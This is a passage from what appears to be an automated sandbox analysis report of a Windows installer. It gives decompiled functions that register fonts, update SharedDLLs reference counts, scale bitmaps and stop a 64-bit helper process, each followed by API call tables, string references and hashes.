                                                          • Instruction ID: e61ec732ee02e9eb4697f92d47cee9573449ed76c6b8a2e0d3c3e0afc1dc4e64
                                                          • Opcode Fuzzy Hash: df23275077c8387b57a94903f1cf9ae6f1ce578ebee1f32d9f849e06fde58e3e
                                                          • Instruction Fuzzy Hash: 8A91D230A042049FEB11FBA5C852BAE77F5EB09704F514CA7F500A7792D6BCAD14CB6A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E004684DC(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				long _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				void* _t21;
                                                          				long _t30;
                                                          				void* _t39;
                                                          				void* _t48;
                                                          				void* _t60;
                                                          				intOrPtr _t72;
                                                          				intOrPtr _t76;
                                                          				void* _t82;
                                                          				void* _t85;
                                                          
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v20 = 0;
                                                          				_v24 = 0;
                                                          				_t60 = __ecx;
                                                          				_t80 = __edx;
                                                          				_t82 = __eax;
                                                          				_push(_t85);
                                                          				_push(0x468634);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t85 + 0xffffffec;
                                                          				if( *0x4ae24f == 0) {
                                                          					_t21 = E0042DD88(0, "Software\\Microsoft\\Windows\\CurrentVersion\\Fonts", 0x80000002,  &_v8, 2, 0);
                                                          					__eflags = _t21;
                                                          					if(_t21 != 0) {
                                                          						E00455814("Failed to open Fonts registry key.", __ecx, __edx, _t82);
                                                          					} else {
                                                          						_push(E004036BC(_t82) + 1);
                                                          						_push(E00403880(_t82));
                                                          						_push(1);
                                                          						_push(0);
                                                          						_push(E00403880(__edx));
                                                          						_t48 = _v8;
                                                          						_push(_t48);
                                                          						L00405934();
                                                          						__eflags = _t48;
                                                          						if(_t48 != 0) {
                                                          							E00455814("Failed to set value in Fonts registry key.", __ecx, __edx, _t82);
                                                          						}
                                                          						RegCloseKey(_v8);
                                                          					}
                                                          				} else {
                                                          					if(E0042D118(0x46864c, __edx, 0) == 0) {
                                                          						_v16 = GetLastError();
                                                          						_v12 = 0;
                                                          						E00455A04("Failed to create [Fonts] entry in WIN.INI. (%d)", _t60, 0,  &_v16, _t80, _t82);
                                                          					}
                                                          				}
                                                          				if(_t60 == 0) {
                                                          					L13:
                                                          					_pop(_t72);
                                                          					 *[fs:eax] = _t72;
                                                          					_push(0x46863b);
                                                          					return E00403568( &_v24, 2);
                                                          				} else {
                                                          					while(1) {
                                                          						SetLastError(0);
                                                          						if(AddFontResourceA(E00403880(_t82)) != 0) {
                                                          							break;
                                                          						}
                                                          						_t30 = GetLastError();
                                                          						_v16 = "AddFontResource";
                                                          						E00406E04(_t30,  &_v24);
                                                          						_v12 = _v24;
                                                          						E00450C2C(0x32, 1,  &_v16,  &_v20);
                                                          						_t76 =  *0x48dc20; // 0x21d9740
                                                          						_t39 = E00466D28(_v20, _t30, 1, _t76, _t80, _t82, __eflags);
                                                          						__eflags = _t39;
                                                          						if(_t39 == 0) {
                                                          							continue;
                                                          						}
                                                          						goto L13;
                                                          					}
                                                          					SendNotifyMessageA(0xffff, 0x1d, 0, 0);
                                                          					goto L13;
                                                          				}
                                                          			}

















                                                          0x004684e2
                                                          0x004684e3
                                                          0x004684e4
                                                          0x004684e7
                                                          0x004684ea
                                                          0x004684ed
                                                          0x004684ef
                                                          0x004684f1
                                                          0x004684f5
                                                          0x004684f6
                                                          0x004684fb
                                                          0x004684fe
                                                          0x00468508
                                                          0x00468553
                                                          0x00468558
                                                          0x0046855a
                                                          0x004685a0
                                                          0x0046855c
                                                          0x00468564
                                                          0x0046856c
                                                          0x0046856d
                                                          0x0046856f
                                                          0x00468578
                                                          0x00468579
                                                          0x0046857c
                                                          0x0046857d
                                                          0x00468582
                                                          0x00468584
                                                          0x0046858b
                                                          0x0046858b
                                                          0x00468594
                                                          0x00468594
                                                          0x0046850a
                                                          0x0046851c
                                                          0x00468527
                                                          0x0046852a
                                                          0x00468538
                                                          0x00468538
                                                          0x0046851c
                                                          0x004685a7
                                                          0x00468619
                                                          0x0046861b
                                                          0x0046861e
                                                          0x00468621
                                                          0x00468633
                                                          0x004685a9
                                                          0x004685ab
                                                          0x004685ad
                                                          0x004685c1
                                                          0x00000000
                                                          0x00000000
                                                          0x004685d5
                                                          0x004685e5
                                                          0x004685ed
                                                          0x004685f5
                                                          0x00468602
                                                          0x0046860a
                                                          0x00468610
                                                          0x00468615
                                                          0x00468617
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00468617
                                                          0x004685ce
                                                          0x00000000
                                                          0x004685ce

                                                          APIs
                                                          • GetLastError.KERNEL32(00000000,00468634), ref: 00468522
                                                          • 6CAA68C0.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00468634), ref: 0046857D
                                                          • RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00468634), ref: 00468594
                                                          • SetLastError.KERNEL32(00000000,?,00000002,00000000,00000000,00468634), ref: 004685AD
                                                          • AddFontResourceA.GDI32(00000000), ref: 004685BA
                                                          • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 004685CE
                                                            • Part of subcall function 0042D118: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0042D14E
                                                          • GetLastError.KERNEL32(00000000,?,00000002,00000000,00000000,00468634), ref: 004685D5
                                                          Strings
                                                          • Software\Microsoft\Windows\CurrentVersion\Fonts, xrefs: 00468547
                                                          • AddFontResource, xrefs: 004685E0
                                                          • Failed to create [Fonts] entry in WIN.INI. (%d), xrefs: 00468533
                                                          • Failed to set value in Fonts registry key., xrefs: 00468586
                                                          • Fonts, xrefs: 00468510
                                                          • Failed to open Fonts registry key., xrefs: 0046859B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$CloseFontMessageNotifyPrivateProfileResourceSendStringWrite
                                                          • String ID: AddFontResource$Failed to create [Fonts] entry in WIN.INI. (%d)$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.$Fonts$Software\Microsoft\Windows\CurrentVersion\Fonts
                                                          • API String ID: 3576145794-759941513
                                                          • Opcode ID: 2d783c3be1a6c2726977d036b629c7a9cd40f7b47c5e01023e54878a2c7e076f
                                                          • Instruction ID: 6ae18959823538964dd21c19e344da7b3fd60542473f18502772690ba87a4b65
                                                          • Opcode Fuzzy Hash: 2d783c3be1a6c2726977d036b629c7a9cd40f7b47c5e01023e54878a2c7e076f
                                                          • Instruction Fuzzy Hash: 483157717006046ADB10FBA58C42B6F77A89B44704F54867FB905EB3C2EE7C9E058A6E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 56%
                                                          			E0041B5C4(struct HDC__* __eax, void* __ecx, void* __edx) {
                                                          				void* _v8;
                                                          				int _v12;
                                                          				int _v16;
                                                          				void* _v20;
                                                          				int _v24;
                                                          				struct HDC__* _v28;
                                                          				struct HDC__* _v32;
                                                          				int _v48;
                                                          				int _v52;
                                                          				void _v56;
                                                          				int _t37;
                                                          				void* _t41;
                                                          				int _t43;
                                                          				void* _t47;
                                                          				void* _t73;
                                                          				intOrPtr _t78;
                                                          				void* _t85;
                                                          				void* _t87;
                                                          				void* _t89;
                                                          				intOrPtr _t90;
                                                          
                                                          				_t87 = _t89;
                                                          				_t90 = _t89 + 0xffffffcc;
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				_v8 = __eax;
                                                          				_push(0);
                                                          				L00405CDC();
                                                          				_v28 = __eax;
                                                          				_push(0);
                                                          				L00405CDC();
                                                          				_v32 = __eax;
                                                          				_t37 = GetObjectA(_v8, 0x18,  &_v56);
                                                          				if(__ecx == 0) {
                                                          					_push(0);
                                                          					L00406034();
                                                          					_v24 = _t37;
                                                          					if(_v24 == 0) {
                                                          						E0041B5AC();
                                                          					}
                                                          					_push(_t87);
                                                          					_push(0x41b673);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t90;
                                                          					_push(_v12);
                                                          					_push(_v16);
                                                          					_t41 = _v24;
                                                          					_push(_t41);
                                                          					L00405CD4();
                                                          					_v20 = _t41;
                                                          					if(_v20 == 0) {
                                                          						E0041B5AC();
                                                          					}
                                                          					_pop(_t78);
                                                          					 *[fs:eax] = _t78;
                                                          					_push(E0041B67A);
                                                          					_t43 = _v24;
                                                          					_push(_t43);
                                                          					_push(0);
                                                          					L0040621C();
                                                          					return _t43;
                                                          				} else {
                                                          					_push(0);
                                                          					_push(1);
                                                          					_push(1);
                                                          					_push(_v12);
                                                          					_t47 = _v16;
                                                          					_push(_t47);
                                                          					L00405CC4();
                                                          					_v20 = _t47;
                                                          					if(_v20 != 0) {
                                                          						_t73 = SelectObject(_v28, _v8);
                                                          						_t85 = SelectObject(_v32, _v20);
                                                          						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
                                                          						if(_t73 != 0) {
                                                          							SelectObject(_v28, _t73);
                                                          						}
                                                          						if(_t85 != 0) {
                                                          							SelectObject(_v32, _t85);
                                                          						}
                                                          					}
                                                          					DeleteDC(_v28);
                                                          					DeleteDC(_v32);
                                                          					return _v20;
                                                          				}
                                                          			}























                                                          0x0041b5c5
                                                          0x0041b5c7
                                                          0x0041b5d2
                                                          0x0041b5d3
                                                          0x0041b5d6
                                                          0x0041b5d9
                                                          0x0041b5db
                                                          0x0041b5e0
                                                          0x0041b5e3
                                                          0x0041b5e5
                                                          0x0041b5ea
                                                          0x0041b5f7
                                                          0x0041b5fe
                                                          0x0041b618
                                                          0x0041b61a
                                                          0x0041b61f
                                                          0x0041b626
                                                          0x0041b628
                                                          0x0041b628
                                                          0x0041b62f
                                                          0x0041b630
                                                          0x0041b635
                                                          0x0041b638
                                                          0x0041b63e
                                                          0x0041b642
                                                          0x0041b643
                                                          0x0041b646
                                                          0x0041b647
                                                          0x0041b64c
                                                          0x0041b653
                                                          0x0041b655
                                                          0x0041b655
                                                          0x0041b65c
                                                          0x0041b65f
                                                          0x0041b662
                                                          0x0041b667
                                                          0x0041b66a
                                                          0x0041b66b
                                                          0x0041b66d
                                                          0x0041b672
                                                          0x0041b600
                                                          0x0041b600
                                                          0x0041b602
                                                          0x0041b604
                                                          0x0041b609
                                                          0x0041b60a
                                                          0x0041b60d
                                                          0x0041b60e
                                                          0x0041b613
                                                          0x0041b67e
                                                          0x0041b68d
                                                          0x0041b69c
                                                          0x0041b6c3
                                                          0x0041b6ca
                                                          0x0041b6d1
                                                          0x0041b6d1
                                                          0x0041b6d8
                                                          0x0041b6df
                                                          0x0041b6df
                                                          0x0041b6d8
                                                          0x0041b6e8
                                                          0x0041b6f1
                                                          0x0041b6ff
                                                          0x0041b6ff

                                                          APIs
                                                          • 72E5A590.GDI32(00000000,?,00000000,?), ref: 0041B5DB
                                                          • 72E5A590.GDI32(00000000,00000000,?,00000000,?), ref: 0041B5E5
                                                          • GetObjectA.GDI32(?,00000018,00000004), ref: 0041B5F7
                                                          • 72E5A410.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B60E
                                                          • 72E5AC50.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B61A
                                                          • 72E5A520.GDI32(00000000,0000000B,?,00000000,0041B673,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B647
                                                          • 72E5B380.USER32(00000000,00000000,0041B67A,00000000,0041B673,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B66D
                                                          • SelectObject.GDI32(00000000,?), ref: 0041B688
                                                          • SelectObject.GDI32(?,00000000), ref: 0041B697
                                                          • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B6C3
                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041B6D1
                                                          • SelectObject.GDI32(?,00000000), ref: 0041B6DF
                                                          • DeleteDC.GDI32(00000000), ref: 0041B6E8
                                                          • DeleteDC.GDI32(?), ref: 0041B6F1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Object$Select$A590Delete$A410A520B380Stretch
                                                          • String ID:
                                                          • API String ID: 956127455-0
                                                          • Opcode ID: 99165526eb5114334335235d3c1d16b6db5cae891b8a6fcfdf7d45d984e8fcd7
                                                          • Instruction ID: 114ef432667551bc7aed0a2de5a91f3fa5b54506007c760ab781620761e9a88c
                                                          • Opcode Fuzzy Hash: 99165526eb5114334335235d3c1d16b6db5cae891b8a6fcfdf7d45d984e8fcd7
                                                          • Instruction Fuzzy Hash: CB41EB71E40609AFDB10EBE9D846FEFB7B8EB18704F104466B604FB281C6785D408BA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 54%
                                                          			E00452E24(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr _v8;
                                                          				char _v9;
                                                          				void* _v16;
                                                          				char _v17;
                                                          				char _v24;
                                                          				int _v28;
                                                          				int _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				char* _v44;
                                                          				char _v48;
                                                          				char _v52;
                                                          				intOrPtr _v56;
                                                          				intOrPtr _v60;
                                                          				char* _v64;
                                                          				char _v68;
                                                          				char _v72;
                                                          				void* _t75;
                                                          				void* _t94;
                                                          				void* _t99;
                                                          				void* _t126;
                                                          				void* _t161;
                                                          				void* _t166;
                                                          				intOrPtr _t184;
                                                          				intOrPtr _t188;
                                                          				intOrPtr _t190;
                                                          				void* _t202;
                                                          				void* _t203;
                                                          				intOrPtr _t204;
                                                          
                                                          				_t202 = _t203;
                                                          				_t204 = _t203 + 0xffffffbc;
                                                          				_v40 = 0;
                                                          				_v52 = 0;
                                                          				_v68 = 0;
                                                          				_v72 = 0;
                                                          				_v36 = 0;
                                                          				_v8 = __edx;
                                                          				_push(_t202);
                                                          				_push(0x4530f4);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t204;
                                                          				_v9 = 0;
                                                          				_t166 = E0042DD88(_t75, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16, 3, 0);
                                                          				if(_t166 == 2) {
                                                          					L28:
                                                          					_pop(_t184);
                                                          					 *[fs:eax] = _t184;
                                                          					_push(E004530FB);
                                                          					E00403568( &_v72, 2);
                                                          					E00403548( &_v52);
                                                          					return E00403568( &_v40, 2);
                                                          				} else {
                                                          					if(_t166 != 0) {
                                                          						E00451CA4(0x80000002,  &_v52);
                                                          						_v48 = _v52;
                                                          						_v44 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
                                                          						E00450C2C(0x3e, 1,  &_v48,  &_v40);
                                                          						E004036C4( &_v40, 0x453188);
                                                          						_push( &_v40);
                                                          						_v64 = "RegOpenKeyEx";
                                                          						E00406E04(_t166,  &_v68);
                                                          						_v60 = _v68;
                                                          						E0042E7A4(_t166,  &_v72);
                                                          						_v56 = _v72;
                                                          						E00450C2C(0x34, 2,  &_v64,  &_v52);
                                                          						_pop(_t161);
                                                          						E004036C4(_t161, _v52);
                                                          						E00408DF0(_v40, 1);
                                                          						E00403264();
                                                          					}
                                                          					_push(_t202);
                                                          					_push(0x4530bd);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t204;
                                                          					if(RegQueryValueExA(_v16, E00403880(_v8), 0,  &_v28, 0,  &_v32) == 0) {
                                                          						_v17 = 0;
                                                          						_v24 = 0;
                                                          						_push(_t202);
                                                          						_push(0x453007);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t204;
                                                          						_t94 = _v28 - 1;
                                                          						if(_t94 == 0) {
                                                          							if(E0042DCB8() != 0) {
                                                          								_v24 = E00406E34(_v36,  &_v36);
                                                          								_v17 = 1;
                                                          							}
                                                          						} else {
                                                          							_t126 = _t94 - 2;
                                                          							if(_t126 == 0) {
                                                          								if(_v32 >= 1 && _v32 <= 4 && RegQueryValueExA(_v16, E00403880(_v8), 0, 0,  &_v24,  &_v32) == 0) {
                                                          									_v17 = 1;
                                                          								}
                                                          							} else {
                                                          								if(_t126 == 1) {
                                                          									_v32 = 4;
                                                          									if(RegQueryValueExA(_v16, E00403880(_v8), 0, 0,  &_v24,  &_v32) == 0) {
                                                          										_v17 = 1;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						_pop(_t188);
                                                          						 *[fs:eax] = _t188;
                                                          						if(_v17 != 0) {
                                                          							_v24 = _v24 - 1;
                                                          							if(_v24 > 0) {
                                                          								_t99 = _v28 - 1;
                                                          								if(_t99 == 0) {
                                                          									E00406E04(_v24,  &_v36);
                                                          									_push(E004036BC(_v36) + 1);
                                                          									_push(E00403880(_v36));
                                                          									_push(1);
                                                          									_push(0);
                                                          									_push(E00403880(_v8));
                                                          									_push(_v16);
                                                          									L00405934();
                                                          								} else {
                                                          									if(_t99 + 0xfffffffe - 2 < 0) {
                                                          										_push(4);
                                                          										_push( &_v24);
                                                          										_push(_v28);
                                                          										_push(0);
                                                          										_push(E00403880(_v8));
                                                          										_push(_v16);
                                                          										L00405934();
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_v9 = 1;
                                                          								_push(E00403880(_v8));
                                                          								_push(_v16);
                                                          								L004058FC();
                                                          							}
                                                          							_pop(_t190);
                                                          							 *[fs:eax] = _t190;
                                                          							_push(E004530C4);
                                                          							return RegCloseKey(_v16);
                                                          						} else {
                                                          							E00403304();
                                                          							goto L28;
                                                          						}
                                                          					} else {
                                                          						E00403304();
                                                          						goto L28;
                                                          					}
                                                          				}
                                                          			}
































                                                          0x00452e25
                                                          0x00452e27
                                                          0x00452e2f
                                                          0x00452e32
                                                          0x00452e35
                                                          0x00452e38
                                                          0x00452e3b
                                                          0x00452e3e
                                                          0x00452e43
                                                          0x00452e44
                                                          0x00452e49
                                                          0x00452e4c
                                                          0x00452e4f
                                                          0x00452e6a
                                                          0x00452e6f
                                                          0x004530c4
                                                          0x004530c6
                                                          0x004530c9
                                                          0x004530cc
                                                          0x004530d9
                                                          0x004530e1
                                                          0x004530f3
                                                          0x00452e75
                                                          0x00452e77
                                                          0x00452e89
                                                          0x00452e91
                                                          0x00452e99
                                                          0x00452ea6
                                                          0x00452eb3
                                                          0x00452ebb
                                                          0x00452ec5
                                                          0x00452ecd
                                                          0x00452ed5
                                                          0x00452edd
                                                          0x00452ee5
                                                          0x00452ef2
                                                          0x00452efa
                                                          0x00452efb
                                                          0x00452f0a
                                                          0x00452f0f
                                                          0x00452f0f
                                                          0x00452f16
                                                          0x00452f17
                                                          0x00452f1c
                                                          0x00452f1f
                                                          0x00452f44
                                                          0x00452f50
                                                          0x00452f56
                                                          0x00452f5b
                                                          0x00452f5c
                                                          0x00452f61
                                                          0x00452f64
                                                          0x00452f6a
                                                          0x00452f6b
                                                          0x00452f89
                                                          0x00452f93
                                                          0x00452f96
                                                          0x00452f96
                                                          0x00452f6d
                                                          0x00452f6d
                                                          0x00452f70
                                                          0x00452fa0
                                                          0x00452fca
                                                          0x00452fca
                                                          0x00452f72
                                                          0x00452f73
                                                          0x00452fd0
                                                          0x00452ff7
                                                          0x00452ff9
                                                          0x00452ff9
                                                          0x00452ff7
                                                          0x00452f73
                                                          0x00452f70
                                                          0x00452fff
                                                          0x00453002
                                                          0x00453015
                                                          0x00453021
                                                          0x00453028
                                                          0x00453045
                                                          0x00453046
                                                          0x00453058
                                                          0x00453066
                                                          0x0045306f
                                                          0x00453070
                                                          0x00453072
                                                          0x0045307c
                                                          0x00453080
                                                          0x00453081
                                                          0x00453048
                                                          0x0045304e
                                                          0x00453088
                                                          0x0045308d
                                                          0x00453091
                                                          0x00453092
                                                          0x0045309c
                                                          0x004530a0
                                                          0x004530a1
                                                          0x004530a1
                                                          0x0045304e
                                                          0x0045302a
                                                          0x0045302a
                                                          0x00453036
                                                          0x0045303a
                                                          0x0045303b
                                                          0x0045303b
                                                          0x004530a8
                                                          0x004530ab
                                                          0x004530ae
                                                          0x004530bc
                                                          0x00453017
                                                          0x00453017
                                                          0x00000000
                                                          0x00453017
                                                          0x00452f46
                                                          0x00452f46
                                                          0x00000000
                                                          0x00452f46
                                                          0x00452f44

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,00000000,004530BD,?,?,00000003,00000000,00000000,004530F4), ref: 00452F3D
                                                            • Part of subcall function 0042E7A4: FormatMessageA.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,004500A0,00000000,004500ED,?,0044FE48,00000000,69465405), ref: 0042E7C3
                                                          • RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,00453007,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00452FC1
                                                          • RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,00453007,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00452FF0
                                                          Strings
                                                          • RegOpenKeyEx, xrefs: 00452EC0
                                                          • , xrefs: 00452EAE
                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452E5B
                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452E94
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: QueryValue$A6790FormatMessage
                                                          • String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                          • API String ID: 3369480846-1577016196
                                                          • Opcode ID: d21340daf22d2b322a74928297d67fb00db7b228447407613f4b0ae619ceba98
                                                          • Instruction ID: f0f06302b16a9815ba21b78fb4cc8545cb9268b005c5c3101c683070ae3b9185
                                                          • Opcode Fuzzy Hash: d21340daf22d2b322a74928297d67fb00db7b228447407613f4b0ae619ceba98
                                                          • Instruction Fuzzy Hash: 01916371900208ABDB11EFA5D942BDEB7F8EB08745F10406BF900F72C2D6799E099B69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00455FB0(void* __eax) {
                                                          				long _v12;
                                                          				long _v16;
                                                          				void* __ebx;
                                                          				void* __esi;
                                                          				void* _t7;
                                                          				void* _t27;
                                                          				void* _t30;
                                                          				DWORD* _t32;
                                                          
                                                          				_t4 = __eax;
                                                          				_t32 =  &_v12;
                                                          				_t27 = __eax;
                                                          				if( *0x48df0c == 0) {
                                                          					L11:
                                                          					return _t4;
                                                          				}
                                                          				 *0x48df0d = 1;
                                                          				E00455814("Stopping 64-bit helper process.", __eax, _t30, 0x48df10);
                                                          				_t7 =  *0x48df14; // 0x0
                                                          				CloseHandle(_t7);
                                                          				 *0x48df14 = 0;
                                                          				while(WaitForSingleObject( *0x48df10, 0x2710) == 0x102) {
                                                          					E00455814("Helper isn\'t responding; killing it.", _t27, _t30, 0x48df10);
                                                          					TerminateProcess( *0x48df10, 1);
                                                          				}
                                                          				if(GetExitCodeProcess( *0x48df10, _t32) == 0) {
                                                          					E00455814("Helper process exited, but failed to get exit code.", _t27, _t30, 0x48df10);
                                                          				} else {
                                                          					if( *_t32 != 0) {
                                                          						_v16 =  *_t32;
                                                          						_v12 = 0;
                                                          						E00455A04("Helper process exited with failure code: 0x%x", _t27, 0,  &_v16, _t30, 0x48df10);
                                                          					} else {
                                                          						E00455814("Helper process exited.", _t27, _t30, 0x48df10);
                                                          					}
                                                          				}
                                                          				CloseHandle( *0x48df10);
                                                          				_t4 = 0;
                                                          				 *0x48df10 = 0;
                                                          				 *0x48df0c = 0;
                                                          				if(_t27 == 0) {
                                                          					goto L11;
                                                          				} else {
                                                          					Sleep(0xfa);
                                                          					return 0;
                                                          				}
                                                          			}











                                                          0x00455fb0
                                                          0x00455fb2
                                                          0x00455fb5
                                                          0x00455fc3
                                                          0x00456083
                                                          0x00456083
                                                          0x00456083
                                                          0x00455fc9
                                                          0x00455fd5
                                                          0x00455fda
                                                          0x00455fe0
                                                          0x00455fe7
                                                          0x00456002
                                                          0x00455ff3
                                                          0x00455ffd
                                                          0x00455ffd
                                                          0x00456021
                                                          0x00456058
                                                          0x00456023
                                                          0x00456027
                                                          0x00456038
                                                          0x0045603c
                                                          0x0045604c
                                                          0x00456029
                                                          0x0045602e
                                                          0x0045602e
                                                          0x00456027
                                                          0x00456060
                                                          0x00456065
                                                          0x00456067
                                                          0x00456069
                                                          0x00456072
                                                          0x00000000
                                                          0x00456074
                                                          0x00456079
                                                          0x00000000
                                                          0x00456079

                                                          APIs
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          • CloseHandle.KERNEL32(00000000), ref: 00455FE0
                                                          • TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 00455FFD
                                                          • WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045600A
                                                          • GetExitCodeProcess.KERNEL32 ref: 0045601A
                                                          • CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456060
                                                          • Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456079
                                                          Strings
                                                          • Helper process exited., xrefs: 00456029
                                                          • Helper process exited with failure code: 0x%x, xrefs: 00456047
                                                          • Helper process exited, but failed to get exit code., xrefs: 00456053
                                                          • Helper isn't responding; killing it., xrefs: 00455FEE
                                                          • Stopping 64-bit helper process., xrefs: 00455FD0
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleProcess$CodeExitLocalObjectSingleSleepTerminateTimeWait
                                                          • String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process.
                                                          • API String ID: 3354603272-531598853
                                                          • Opcode ID: abd53da1f6fc082e815e93d811b669fa015146d12ac66528a9001bd0a82b319c
                                                          • Instruction ID: 094fb26bf9f53f78862e1f0a79d14bc4959a26d3316dea152a4a3eb2cd331462
                                                          • Opcode Fuzzy Hash: abd53da1f6fc082e815e93d811b669fa015146d12ac66528a9001bd0a82b319c
                                                          • Instruction Fuzzy Hash: F2117F70A056409ADB10FBB9884171A23D49F09706F51882FBA85CB3D3D67D88489B2E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E00452AD8(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				signed int _v5;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				int _v20;
